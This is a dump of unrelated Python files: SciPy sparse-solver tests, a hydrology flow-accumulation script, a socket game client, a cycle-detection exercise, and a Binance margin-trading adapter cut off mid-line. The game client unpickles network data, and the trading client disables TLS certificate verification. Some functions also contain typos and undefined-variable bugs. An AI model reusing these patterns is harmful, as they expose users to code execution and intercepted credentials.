check(np.complex128) check(np.complex64, True) check(np.complex128, True) @pytest.mark.slow @sup_sparse_efficiency def test_threads_parallel(self): oks = [] def worker(): try: self.test_splu_basic() self._internal_test_splu_smoketest() self._internal_test_spilu_smoketest() oks.append(True) except Exception: pass threads = [threading.Thread(target=worker) for k in range(20)] for t in threads: t.start() for t in threads: t.join() assert_equal(len(oks), 20) class TestSpsolveTriangular(object): def setup_method(self): use_solver(useUmfpack=False) def test_singular(self): n = 5 A = csr_matrix((n, n)) b = np.arange(n) for lower in (True, False): assert_raises(scipy.linalg.LinAlgError, spsolve_triangular, A, b, lower=lower) @sup_sparse_efficiency def test_bad_shape(self): # A is not square. A = np.zeros((3, 4)) b = ones((4, 1)) assert_raises(ValueError, spsolve_triangular, A, b) # A2 and b2 have incompatible shapes. A2 = csr_matrix(eye(3)) b2 = array([1.0, 2.0]) assert_raises(ValueError, spsolve_triangular, A2, b2) @sup_sparse_efficiency def test_input_types(self): A = array([[1., 0.], [1., 2.]]) b = array([[2., 0.], [2., 2.]]) for matrix_type in (array, csc_matrix, csr_matrix): x = spsolve_triangular(matrix_type(A), b, lower=True) assert_array_almost_equal(A.dot(x), b) @pytest.mark.slow @sup_sparse_efficiency def test_random(self): def random_triangle_matrix(n, lower=True): A = scipy.sparse.random(n, n, density=0.1, format='coo') if lower: A = scipy.sparse.tril(A) else: A = scipy.sparse.triu(A) A = A.tocsr(copy=False) for i in range(n): A[i, i] = np.random.rand() + 1 return A np.random.seed(1234) for lower in (True, False): for n in (10, 10**2, 10**3): A = random_triangle_matrix(n, lower=lower) for m in (1, 10): for b in (np.random.rand(n, m), np.random.randint(-9, 9, (n, m)), np.random.randint(-9, 9, (n, m)) + np.random.randint(-9, 9, (n, m)) * 1j): x = spsolve_triangular(A, b, lower=lower) assert_array_almost_equal(A.dot(x), b) x = spsolve_triangular(A, b, lower=lower, unit_diagonal=True) A.setdiag(1) assert_array_almost_equal(A.dot(x), b)
flowAcc3s.py
import os import sys import zipfile import requests import shutil from shapely.geometry.polygon import Polygon from shapely.ops import transform import pyproj from osgeo import gdal from pandas import DataFrame import pandas as pd import numpy as np from osgeo import gdal import pickle from tqdm import tqdm import click from threading import Thread from multiprocessing.dummy import Pool as ThreadPool import json import subprocess # pixel area only depends on latitude (not longitude) # we re-project WGS84 to cylindrical equal area def pixel_area(pix_deg): project = lambda x, y: pyproj.transform(pyproj.Proj(init='epsg:4326'), pyproj.Proj(proj='cea'), x, y) offset = pix_deg / 2 lts = np.arange(90-offset, -90, -pix_deg) area = np.empty_like(lts) lon = 0 for y, lat in enumerate(lts): pixel1 = Polygon([(lon - offset, lat + offset), (lon + offset, lat + offset), (lon + offset, lat - offset), (lon - offset, lat - offset)]) pixel2 = transform(project, pixel1) area[y] = pixel2.area return area def get_flow_dir(row): if not os.path.exists(f'tiles/dir/3s/{row.tile}'): tqdm.write(f'Downloading {row.tile}...') r = requests.get(row.url + row.tile) with open(f'tiles/dir/3s/{row.tile}', 'wb') as f: f.write(r.content) try: with zipfile.ZipFile(f'tiles/dir/3s/{row.tile}', 'r') as z: z.extractall(path = 'tmp/') flow_dir = gdal.Open(f'tmp/{row.tile[:-9]}/{row.tile[:-9]}/w001001.adf') geo = flow_dir.GetGeoTransform() ySize, xSize = flow_dir.RasterYSize, flow_dir.RasterXSize flow_dir = flow_dir.ReadAsArray() shutil.rmtree(f'tmp/{row.tile[:-9]}') # data is padded into a 6000x6000 array (some tiles may be smaller): array_5x5 = np.ones((6000, 6000), dtype='uint8') * 255 y0 = int(round((geo[3] - row.lat) / geo[5])) y1 = 6000 - int(round(((row.lat - 5) - (geo[3] + geo[5] * ySize)) / geo[5])) x0 = int(round((geo[0] - row.lon) / geo[1])) x1 = 6000 - int(round(((row.lon + 5) - (geo[0] + geo[1] * xSize)) / geo[1])) array_5x5[y0:y1, x0:x1] = flow_dir except: tqdm.write('Not a ZIP file!') array_5x5 = np.zeros((6000, 6000), dtype='uint8') return array_5x5 def pass1(cpu, drop_pixel, pix_area, df): for row in df.iterrows(): process_tile(cpu, drop_pixel, pix_area, row[1], df, True) def pass2(parallel, drop_pixel, pix_area, df): i = 0 acc_dict = {} udlr_dict = {} while not np.all(df.done): row = df[df.done==False].iloc[0] process_tile(0, drop_pixel, pix_area, row, df, False, acc_dict, udlr_dict) i += 1 if (i % 100) == 0: print('Compressing tiles...') compress_tiles(parallel) for k, v in acc_dict.items(): np.savez_compressed(f'tiles/acc/3s/{k}', a=v) compress_tiles(parallel) # create TIFF files print('Creating TIFF files') for row in tqdm(df.iterrows()): name = row[1].tile.replace('_dir_grid.zip', '_acc') a = np.load(f'tiles/acc/3s/{name}.npz')['a'] driver = gdal.GetDriverByName('GTiff') ds = driver.Create(f'tiles/acc/3s/{name}.tif', a.shape[1], a.shape[0], 1, gdal.GDT_Float64, ['COMPRESS=LZW']) ds.SetGeoTransform((row[1].lon, 5/6000, 0.0, row[1].lat, 0.0, -5/6000)) ds.SetProjection('GEOGCS[\"WGS 84\",DATUM[\"WGS_1984\",SPHEROID[\"WGS 84\",6378137,298.257223563,AUTHORITY[\"EPSG\",\"7030\"]],AUTHORITY[\"EPSG\",\"6326\"]],PRIMEM[\"Greenwich\",0],UNIT[\"degree\",0.0174532925199433],AUTHORITY[\"EPSG\",\"4326\"]]') band = ds.GetRasterBand(1) band.WriteArray(a) band.SetNoDataValue(0.) ds = None os.remove(f'tiles/acc/3s/{name}.npz') print('Creating VRT (Virtual Dataset)') subprocess.check_call('gdalbuildvrt acc.vrt tiles/acc/3s/*.tif', shell=True) def compress_tiles(parallel): paths = [] for path in ['tmp/udlr', 'tiles/acc/3s']: for fname in os.listdir(path): if fname.endswith('.npy'): paths.append(f'{path}/{fname}') pool = ThreadPool(parallel) pool.map(compress_tile, paths) def compress_tile(path): a = np.load(path) np.savez_compressed(path[:-4], a=a) os.remove(path) def process_tile(cpu, drop_pixel, pix_area, row, df, first_pass, acc_dict={}, udlr_dict={}): lat, lon = row['lat'], row['lon'] flow_dir = get_flow_dir(row) name = row['tile'][:-len('_dir_grid.zip')] if first_pass: udlr_in = np.zeros((4, 6000), dtype='float64') else: df.loc[(df.lat==lat) & (df.lon==lon), 'done'] = True if f'udlr_{lat}_{lon}' in udlr_dict: udlr_in = udlr_dict[f'udlr_{lat}_{lon}'] elif os.path.exists(f'tmp/udlr/udlr_{lat}_{lon}.npz'): udlr_in = np.load(f'tmp/udlr/udlr_{lat}_{lon}.npz')['a'] elif os.path.exists(f'tmp/udlr/udlr_{lat}_{lon}.npy'): udlr_in = np.load(f'tmp/udlr/udlr_{lat}_{lon}.npy') else: print(f'Nothing to do for {name}') df.to_pickle('tmp/df.pkl') return if (not first_pass) and (f'{name}_acc' in acc_dict): flow_acc = acc_dict[f'{name}_acc'] elif os.path.exists(f'tiles/acc/3s/{name}_acc.npz'): flow_acc = np.load(f'tiles/acc/3s/{name}_acc.npz')['a'] elif os.path.exists(f'tiles/acc/3s/{name}_acc.npy'): flow_acc = np.load(f'tiles/acc/3s/{name}_acc.npy') else: flow_acc = np.zeros((6000, 6000), dtype='float64') udlr_out = np.zeros((4, 6000+2), dtype='float64') do_inside = first_pass tqdm.write(f'Processing {name} (inside: {do_inside})') row_nb = 60 for row_i in tqdm(range(0, 6000, row_nb)): pix_area2 = pix_area[6000*((90-lat)//5):] drop_pixel(flow_dir, flow_acc, udlr_in, udlr_out, pix_area2, do_inside, row_i, row_nb) if first_pass: np.savez_compressed(f'tiles/acc/3s/{name}_acc', a=flow_acc) else: if (f'{name}_acc' in acc_dict) or (len(acc_dict) < 10): acc_dict[f'{name}_acc'] = flow_acc else: first = list(acc_dict.keys())[0] print(f'Saving {first}') np.save(f'tiles/acc/3s/{first}', acc_dict[first]) del acc_dict[first] acc_dict[f'{name}_acc'] = flow_acc if f'udlr_{lat}_{lon}' in udlr_dict: del udlr_dict[f'udlr_{lat}_{lon}'] if os.path.exists(f'tiles/acc/3s/{name}_acc.npz'): os.remove(f'tiles/acc/3s/{name}_acc.npz') if os.path.exists(f'tmp/udlr/udlr_{lat}_{lon}.npz'): os.remove(f'tmp/udlr/udlr_{lat}_{lon}.npz') if os.path.exists(f'tmp/udlr/udlr_{lat}_{lon}.npy'): os.remove(f'tmp/udlr/udlr_{lat}_{lon}.npy') var = [[5, 0, 1, 0, (0, 0), (1, -1), 5, -5], [-5, 0, 0, 1, (0, -1), (1, 0), 5, 5], [0, -5, 3, 2, (1, 0), (0, -1), -5, -5], [0, 5, 2, 3, (1, -1), (0, 0), -5, 5]] for i in range(4): # do the sides if np.any(udlr_out[i][1:-1]): lat2 = lat + var[i][0] lon2 = lon + var[i][1] if first_pass: udlr_name = f'tmp/udlr{cpu}/udlr_{lat2}_{lon2}' else: df.loc[(df.lat==lat2) & (df.lon==lon2), 'done'] = False udlr_name = f'tmp/udlr/udlr_{lat2}_{lon2}' if (not first_pass) and (os.path.basename(udlr_name) in udlr_dict): udlr = udlr_dict[os.path.basename(udlr_name)] elif os.path.exists(f'{udlr_name}.npz'): udlr = np.load(f'{udlr_name}.npz')['a'] elif os.path.exists(f'{udlr_name}.npy'): udlr = np.load(f'{udlr_name}.npy') else: udlr = np.zeros((4, 6000), dtype='float64') udlr[var[i][2]] += udlr_out[var[i][3]][1:-1] if first_pass: np.savez_compressed(udlr_name, a=udlr) else: if (os.path.basename(udlr_name) in udlr_dict) or (len(udlr_dict) < 10): udlr_dict[os.path.basename(udlr_name)] = udlr else: first = list(udlr_dict.keys())[0] print(f'Saving {first}') np.save(f'tmp/udlr/{first}', udlr_dict[first]) del udlr_dict[first] udlr_dict[os.path.basename(udlr_name)] = udlr if os.path.exists(f'{udlr_name}.npz'): os.remove(f'{udlr_name}.npz') # do the corners if udlr_out[var[i][4]] != 0: lat2 = lat + var[i][6] lon2 = lon + var[i][7] if first_pass: udlr_name = f'tmp/udlr{cpu}/udlr_{lat2}_{lon2}' else: df.loc[(df.lat==lat2) & (df.lon==lon2), 'done'] = False udlr_name = f'tmp/udlr/udlr_{lat2}_{lon2}' if (not first_pass) and (os.path.basename(udlr_name) in udlr_dict): udlr = udlr_dict[os.path.basename(udlr_name)] elif os.path.exists(f'{udlr_name}.npz'): udlr = np.load(f'{udlr_name}.npz')['a'] elif os.path.exists(f'{udlr_name}.npy'): udlr = np.load(f'{udlr_name}.npy') else: udlr = np.zeros((4, 6000), dtype='float64') udlr[var[i][5]] += udlr_out[var[i][4]] if first_pass: np.savez_compressed(udlr_name, a=udlr) else: if (os.path.basename(udlr_name) in udlr_dict) or (len(udlr_dict) < 10): udlr_dict[os.path.basename(udlr_name)] = udlr else: first = list(udlr_dict.keys())[0] print(f'Saving {first}') np.save(f'tmp/udlr/{first}', udlr_dict[first]) del udlr_dict[first] udlr_dict[os.path.basename(udlr_name)] = udlr if os.path.exists(f'{udlr_name}.npz'): os.remove(f'{udlr_name}.npz') if first_pass: df.to_pickle(f'tmp/df{cpu}.pkl') else: df.to_pickle('tmp/df.pkl') @click.command() @click.option('-n', '--numba', is_flag=True, help='Use Numba as the computing backend (otherwise, use Cython).') @click.option('-p1', '--parallel1', default=1, help='Number of CPU cores to use for first pass.') @click.option('-p2', '--parallel2', default=1, help='Number of CPU cores to use for second pass.') @click.option('-r', '--reset', is_flag=1, help="Start the processing from scratch (don't download tiles if already downloaded).") def acc_flow(numba, parallel1, parallel2, reset): if reset: shutil.rmtree('tmp', ignore_errors=True) shutil.rmtree('tiles/acc', ignore_errors=True) if numba: sys.path.append('numba') print('Using Numba') else: sys.path.append('cython') print('Using Cython') from drop_pixel import drop_pixel os.makedirs('tiles/dir/3s', exist_ok=True) os.makedirs('tiles/acc/3s', exist_ok=True) for cpu in range(parallel1): os.makedirs(f'tmp/udlr{cpu}', exist_ok=True) if os.path.exists('tmp/pix_area.npy'): pix_area = np.load('tmp/pix_area.npy') else: pix_area = pixel_area(5 / 6000) pix_area = pix_area / np.max(pix_area) np.save('tmp/pix_area', pix_area) if os.path.exists('tmp/df.pkl'): df = pd.read_pickle(f'tmp/df.pkl') else: # first pass print('1st pass') df = [] df_ok = True for cpu in range(parallel1): if os.path.exists(f'tmp/df{cpu}.pkl'): df.append(pd.read_pickle(f'tmp/df{cpu}.pkl')) else: df_ok = False if not df_ok: with open('tiles.json') as f: dire = json.load(f) urls, tiles, lats, lons = [], [], [], [] for continent in dire: for tile in dire[continent][1]: lat = int(tile[1:3]) if tile[0] == 's': lat = -lat lon = int(tile[4:7]) if tile[3] == 'w': lon = -lon if tile not in tiles: lats.append(lat + 5) # upper left lons.append(lon) tiles.append(tile) urls.append(dire[continent][0]) df = DataFrame({'lat': lats, 'lon': lons, 'tile': tiles, 'url': urls}).sort_values(by=['lat', 'lon'], ascending = [0, 1]) # top-down, left-right df.index = range(len(df)) df_keep = df df = [] i0 = 0 size = len(df_keep) // parallel1 i1 = size for cpu in range(parallel1): if cpu == parallel1 - 1: i1 = None df.append(df_keep.iloc[i0:i1].copy(deep=True)) df[cpu].to_pickle(f'tmp/df{cpu}.pkl') if cpu != parallel1 - 1: i0 += size i1 += size threads = [] for cpu in range(parallel1): t = Thread(target=pass1, args=(cpu, drop_pixel, pix_area, df[cpu])) threads.append(t) t.start() for t in threads: t.join() df = pd.concat(df) df['done'] = False df.to_pickle('tmp/df.pkl') if parallel1 == 1: shutil.copytree('tmp/udlr0', 'tmp/udlr') else: os.makedirs(f'tmp/udlr', exist_ok=True) for cpu in range(parallel1): for fname in os.listdir(f'tmp/udlr{cpu}'): if os.path.exists(f'tmp/udlr/{fname}'): udlr = np.load(f'tmp/udlr{cpu}/{fname}')['a'] udlr += np.load(f'tmp/udlr/{fname}')['a'] np.savez_compressed(f'tmp/udlr/{fname[:-4]}', a=udlr) else: shutil.copyfile(f'tmp/udlr{cpu}/{fname}', f'tmp/udlr/{fname}') # second pass print('2nd pass') pass2(parallel2, drop_pixel, pix_area, df) if __name__ == '__main__': acc_flow()
game.py
import pickle from bigboard import * from os import environ from random import choice from string import ascii_letters as letters from socket import socket from threading import Thread class Game(object): def __init__(self): self.board = BigBoard() self.winner = 0 self.turn = 1 self.loading = True self.host = environ['HOST'] self.port = int(environ['PORT']) def connect(self): secret = Game.getSecret() print("Your secret is: " + secret) self.client = socket() self.client.connect((self.host, self.port)) self.client.send(secret.encode()) self.player = int(self.client.recv(1024).decode()) self.receiver = Thread(target=self.receive, args=()) self.receiver.start() self.loading = False def receive(self): try: while not self.winner: i, j = pickle.loads(self.client.recv(1024)) self.board.play(i, j, self.turn) self.winner = self.board.winner() self.turn = 3 - self.turn finally: self.client.close() @staticmethod def getSecret(secretLen=16): secret = environ.get("SECRET", None) if secret is None: secret = ''.join(choice(letters) for _ in range(secretLen)) else: error = "Secret has to be exactly " + str(secretLen) + " symbols!" assert len(secret) == secretLen, error return secret def play(self, i, j): if self.board.play(i, j, self.turn): self.client.send(pickle.dumps((i, j))) self.winnder = self.board.winner() self.turn = 3 - self.turn
lab9_b.py
from sys import setrecursionlimit import threading setrecursionlimit(10 ** 9) threading.stack_size(2 * 67108864) def main(): file_input, file_output = open('cycle.in', 'r'), open('cycle.out','w') #dfs for each vertex in V #if we can reach grey(1) vertex, cycle exists cycle = [] def dfs(index): nonlocal cycle contig_lst[index][0] = 1 cycle.append(index + 1) #avoid current_vertex flush nonlocal current_vertex for i in range(1, len(contig_lst[index])): if contig_lst[contig_lst[index][i]][0] == 0: if dfs(contig_lst[index][i]): return True elif contig_lst[contig_lst[index][i]][0] == 1: current_vertex = contig_lst[index][i] + 1 return True cycle = cycle[:-1] contig_lst[index][0] = 2 n, m = map(int, file_input.readline().split()) contig_lst = [[0] for _ in range(n)] flag = 0 current_vertex = 0 #contigious vertexes list creation i: [color, *[ends_values]] for _ in range(m): current = list(map(int, file_input.readline().split())) contig_lst[current[0] - 1].append(current[1] - 1) for index in range(len(contig_lst)): # print(*contig_lst) if contig_lst[index][0] == 0: if dfs(index): print('YES', file=file_output) print(*[cycle[i] for i in range(cycle.index(current_vertex), len(cycle))], file=file_output) flag = 1 break if not flag: print('NO', file=file_output) file_output.close() thread = threading.Thread(target=main) thread.start()
binance_adapter.py
import math from builtins import print from itertools import count from binance.client import Client from binance.websockets import BinanceSocketManager from binance.exceptions import BinanceAPIException import parameters from adapter import Adapter import time import csv from decimal import Decimal import datetime import threading import logger from order import BinanceOrder Relay_Price_To_Strategy = None '''' def process_trade_message(msg): if not validate_msg(msg): trade_bot.event.set() return if msg['e'] == 'error': logger.write(logger.CONNECTION, "Restarting trade socket, Received error msg in process_trade_message : " + msg['m']) trade_bot.restart_socket(parameters.TRADE_CHANNEL) elif msg['e'] == 'trade': trade_bot.trade_data_procerror.process_message(msg) trade_bot.event.set() #global trade_message_timestamp = msg['E'] ''' def process_kline_message(msg): if not validate_msg(msg): return if msg['e'] == 'error': logger.write(logger.CONNECTION, "Restarting Kline socket,Received error msg in process_kline_message: " + msg['m']) #trade_bot.restart_socket(parameters.KLINE_CHANNEL) elif msg['e'] == 'kline': price = round(float(msg['k']['c']), price_round_off) if(msg['k']['x'] == True): #Relay only closing price Relay_Price_To_Strategy(price) #kline_message_timestamp = msg['E'] def validate_msg(msg): if ((int(time.time() * 1000)) - msg['E']) > 500 : # make it 2000 ms if there is no time issue logger.write(logger.CONNECTION,"Dropping msg: Time Difference = {} msg = ".format(((int(time.time() * 1000)) - msg['E'])) + msg['e']) if msg['e'] == 'trade': pass elif msg['e'] == 'kline': pass return False return True class BinanceAdapter(Adapter): def __init__(self, api_key, secret_key): self.event = threading.Event() self.client = None self.socket_manager = None self.trade_conn_keys = list() self.kline_conn_keys = list() self.price_round_off = 0 self.quantity_round_off = 0 self.account_balance = [] self.quote_asset = 0.0 self.base_asset = 0.0 self.base = parameters.base self.quote = parameters.quote self.exchange_pair = self.base + self.quote self.trade_type = parameters.trade_type logger.todays_date = datetime.date.today() while self.client is None: try: self.client = self.create_client(api_key,secret_key) except Exception: logger.write(logger.CONNECTION,"Re-trying connection to client") time.sleep(20) try: self.get_symbol_info() except BinanceAPIException as e: logger.write(logger.EXCEPTION, "EXCEPTION Code = {} ".format(e.code) + e.message) try: self.update_account_info('Margin') except BinanceAPIException as e: logger.write(logger.EXCEPTION, "EXCEPTION Code = {} ".format(e.code) + e.message) print (f'Base asset balance = {self.get_base_asset_balance()} Quote asset balance = {self.get_quote_asset_balance()}') self.create_socket() self.get_klines() #self.connection_check_thread = threading.Thread(target=self.poll) #self.connection_check_thread.start() #self.read_klinefile() def set_price_callback(self, price_callback_func): global Relay_Price_To_Strategy Relay_Price_To_Strategy = price_callback_func def create_order(self): return BinanceOrder() def publish_LTP(self): pass def adjust_price_for_sell(self, price): return (price - (price * 0.0001)) def adjust_price_for_buy(self, price): return (price + (price * 0.0001)) def create_client(self, api_key, secret_key): print("Connecting to server") # {"verify": False, "timeout": 20} will be internally added to every request. To override the values explictly add this in other statements return Client(api_key, secret_key, {"verify": False, "timeout": 20}) def get_symbol_info(self): symbol_info = self.client.get_symbol_info(self.exchange_pair) print(symbol_info) value = Decimal(symbol_info['filters'][0]['minPrice']).normalize() self.price_round_off = abs(value.as_tuple().exponent) global price_round_off price_round_off = self.price_round_off value = Decimal(symbol_info['filters'][2]['stepSize']).normalize() self.quantity_round_off = abs(value.as_tuple().exponent) logger.write(logger.CONNECTION,f'self.quantity_round_off = {self.quantity_round_off} self.exchange_pair = {self.exchange_pair}') def server_time_sync_check(self): # time check for i in range(1, 10): local_time1 = int(time.time() * 1000) server_time = self.client.get_server_time() diff1 = server_time['serverTime'] - local_time1 local_time2 = int(time.time() * 1000) diff2 = local_time2 - server_time['serverTime'] print("local1: %s server:%s local2: %s diff1:%s diff2:%s" % ( local_time1, server_time['serverTime'], local_time2, diff1, diff2)) time.sleep(2) def create_socket(self): while self.socket_manager is None: self.socket_manager = BinanceSocketManager(self.client, user_timeout = 60) if(self.socket_manager is None): logger.write(logger.CONNECTION,"BinanceSocketManager() returned None") time.sleep(20) #if atleast one thred is not started here websocket will not work in Linux self.open_data_channels() self.socket_manager.start() # this is to check the network disconnection def poll(self): while(True): if self.event.wait(timeout= 60) == False: # wait returms False if it times out logger.write(logger.CONNECTION,"Poll Time Out, Restarting connection") #self.restart_socket(parameters.KLINE_CHANNEL) #self.restart_socket(parameters.TRADE_CHANNEL) time.sleep(20) self.event.clear() # reset the event flag def open_trade_socket(self): pass ''' conn = False while conn is False: conn = self.socket_manager.start_trade_socket(self.exchange_pair, process_trade_message) if conn is not False: self.trade_conn_keys.append(conn) else: logger.write(logger.CONNECTION,"start_trade_socket returned False for " + self.exchange_pair) time.sleep(10) print(self.trade_conn_keys) ''' def open_kline_socket(self): conn = False while conn is False: conn = self.socket_manager.start_kline_socket(self.exchange_pair, process_kline_message, interval = parameters.KLINE_INTERVAL_MINUTE) #kline of 15 minute interval if conn is not False: self.kline_conn_keys.append(conn) else: logger.write(logger.CONNECTION,"start_kline_socket returned False for " + self.exchange_pair) time.sleep(10) print(self.kline_conn_keys) ''' def restart_socket(self, connection_type): #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@2 #CLOSE ALL OPEN ORDERS FIRST #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ logger.write(logger.CONNECTION,"Re-starting " + connection_type) if connection_type == parameters.TRADE_CHANNEL: for conn in self.trade_conn_keys: self.socket_manager.stop_socket(conn) self.trade_conn_keys.remove(conn) try: self.open_trade_socket() except Exception as e: logger.write(logger.CONNECTION,"start_trade_socket() Exception raised: " + e.status_code + "" + e.message) elif connection_type == parameters.KLINE_CHANNEL: self.get_klines() for conn in self.kline_conn_keys: self.socket_manager.stop_socket(conn) self.kline_conn_keys.remove(conn) try: self.open_kline_socket() except Exception as e: logger.write(logger.CONNECTION,"start_kline_socket() Exception raised: " + e.status_code + "" + e.message) ''' def get_klines(self): while not self.download_klines(): time.sleep(10) # get fresh klines after re-connection def download_klines(self): try: closing_price = [] for kline in self.client.get_historical_klines_generator(self.exchange_pair, parameters.KLINE_INTERVAL_MINUTE, parameters.KLINE_PERIOD): closing_price.append(self.round(float(kline[4]),self.price_round_off)) self.save_klines_in_csv(kline) print("Downloading klines ...") except BinanceAPIException as e: logger.write(logger.EXCEPTION, "EXCEPTION Code = {} ".format(e.code) + e.message) return False print("For {} Done getting {} worth of {} candle sticks".format(self.exchange_pair, parameters.KLINE_PERIOD, parameters.KLINE_INTERVAL_MINUTE)) return True def open_data_channels(self): try: self.open_kline_socket() except Exception as e: logger.write(logger.CONNECTION,"start_kline_socket() Exception raised: ") ''''' try: self.open_trade_socket() except Exception as e: logger.write(logger.CONNECTION,"start_trade_socket() Exception raised: ") ''''' def save_klines_in_csv(self,kline): file = open("klines_MA.csv", "at") cw = csv.writer(file,delimiter=',',quoting=csv.QUOTE_ALL) if cw is not None: cw.writerow(kline) def correct_quantity(self, quanitiy, mode): if mode == 'BUY': return self.round(float(quantity),self.quantity_round_off) elif mode == 'SELL': return self.verify_quantity(quantity) def place_buy_limit_order(self, quantity, price, mode = 'Margin'): price = self.round(price,self.price_round_off) quantity = self.round(float(quantity),self.quantity_round_off) logger.write(logger.ERROR,"order_limit_buy: symbol = {}, quantity = {}, price = {}".format(self.exchange_pair,quantity,price)) try: if mode == 'Margin': return self.client.create_margin_order( symbol = self.exchange_pair, side = self.client.SIDE_BUY, type = self.client.ORDER_TYPE_LIMIT, timeInForce = self.client.TIME_IN_FORCE_GTC, quantity = quantity, price = '{}'.format(price) ) else: return self.client.order_limit_buy( symbol = self.exchange_pair, quantity = quantity, price = '{}'.format(price) ) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code) + e.message) return None def place_sell_limit_order(self, quantity, price, mode = 'Margin'): price = self.round(price, self.price_round_off) quantity = self.verify_quantity(quantity)#self.correction(quantity) logger.write(logger.ERROR,"order_limit_sell: symbol = {}, quantity = {}, price = {}".format(self.exchange_pair, quantity,price)) try: if mode == 'Margin': return self.client.create_margin_order( symbol = self.exchange_pair, side = self.client.SIDE_SELL, type = self.client.ORDER_TYPE_LIMIT, timeInForce = self.client.TIME_IN_FORCE_GTC, quantity = quantity, price = '{}'.format(price) ) else: return self.client.order_limit_sell( symbol = self.exchange_pair, quantity = quantity, price = '{}'.format(price) ) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code) + e.message) return None def get_order(self,order_ID, type = 'Margin'): logger.write(logger.OUTPUT, "get_order: symbol = {}, orderID = {}".format(self.exchange_pair, order_ID)) try: if type == 'Margin': return self.client.get_margin_order( symbol = self.exchange_pair, orderId = '{}'.format(order_ID) ) else: return self.client.get_order( symbol = self.exchange_pair, orderId = '{}'.format(order_ID) ) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def cancel_open_order(self,order_ID, type = 'Margin'): logger.write(logger.ERROR, "cancel_order: Cancelling symbol = {}, orderID = {}".format(self.exchange_pair, order_ID)) try: if type == 'Margin': return self.client.cancel_margin_order( symbol = self.exchange_pair, orderId = '{}'.format(order_ID) ) else: return self.client.cancel_order( symbol = self.exchange_pair, orderId = '{}'.format(order_ID) ) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def update_account_info(self, type = 'Margin'): try: if type == 'Margin': info = self.client.get_margin_account() self.account_balance = info["userAssets"] #logger.write(logger.OUTPUT, f'get_account_info: BALANCE = {self.account_balance}') else: info = self.client.get_account() self.account_balance = info["balances"] self.quote_asset = self.get_quote_asset_balance() self.base_asset = self.get_base_asset_balance() logger.write(logger.OUTPUT, f'update_account_info: Base = {self.base_asset} Quote = {self.quote_asset}') return [self.base_asset, self.quote_asset] except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_margin_health(self): try: info = self.client.get_margin_account() #'marginLevel': '1.96592799' The meter # 'totalAssetOfBtc': '0.00348556' Total balance in BTC #'totalLiabilityOfBtc': '0.0017' Loan amount in BTC #'totalNetAssetOfBtc': '0.00171257' Original quantity (my amount) #price = self.get_current_margin_price() #liquidity_buffer = (price * float(info['totalLiabilityOfBtc'])) - (price * float(info['totalNetAssetOfBtc'])) return float(info['marginLevel']) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def cancel_all_open_margin_orders(self): try: orders = self.client.get_open_margin_orders() if len(orders) is 0: return for order in orders: self.cancel_order(order['orderId'], 'Margin') except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_current_margin_price(self): try: info = self.client.get_margin_price_index(symbol = self.exchange_pair) price = Decimal(info['price']) logger.write(logger.OUTPUT, f'get_current_margin_price: Current price = {price}') return price except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def spot_to_margin_transfer(self,asset, amount): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote return self.client.transfer_spot_to_margin(asset = asset, amount = amount) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def margin_to_spot_transfer(self,asset,amount): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote amount = self.round(float(amount),self.quantity_round_off) return self.client.transfer_margin_to_spot(asset = asset, amount = amount) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_max_transfer_amount(self,asset): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote return self.client.get_max_margin_transfer(asset = asset) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def create_loan(self,asset, amount): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote amount = self.round(float(amount), self.quantity_round_off) logger.write(logger.OUTPUT, f'create_loan: Amount = {amount} asset = {asset}') return self.client.create_margin_loan(asset = asset, amount = amount) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def repay_loan(self,asset, amount): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote amount = self.round(float(amount), self.quantity_round_off) return self.client.repay_margin_loan(asset = asset, amount = amount) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_loan_request_status(self,asset, tx): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote return self.client.get_margin_loan_details(asset = asset, txId = tx) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_loan_repay_status(self,asset, tx): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote return self.client.get_margin_repay_details(asset = asset, txId = tx) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_max_loan_amount(self, asset): try: if parameters.BASE == asset: asset = self.base elif parameters.QUOTE == asset: asset = self.quote max_amount = self.client.get_max_margin_loan(asset = asset) return float(max_amount['amount']) except BinanceAPIException as e: logger.write(logger.EXCEPTION, "buy_asset: EXCEPTION Code = {}".format(e.code)+ e.message) def get_quote_asset_balance(self): for balance in self.account_balance: if balance["asset"] 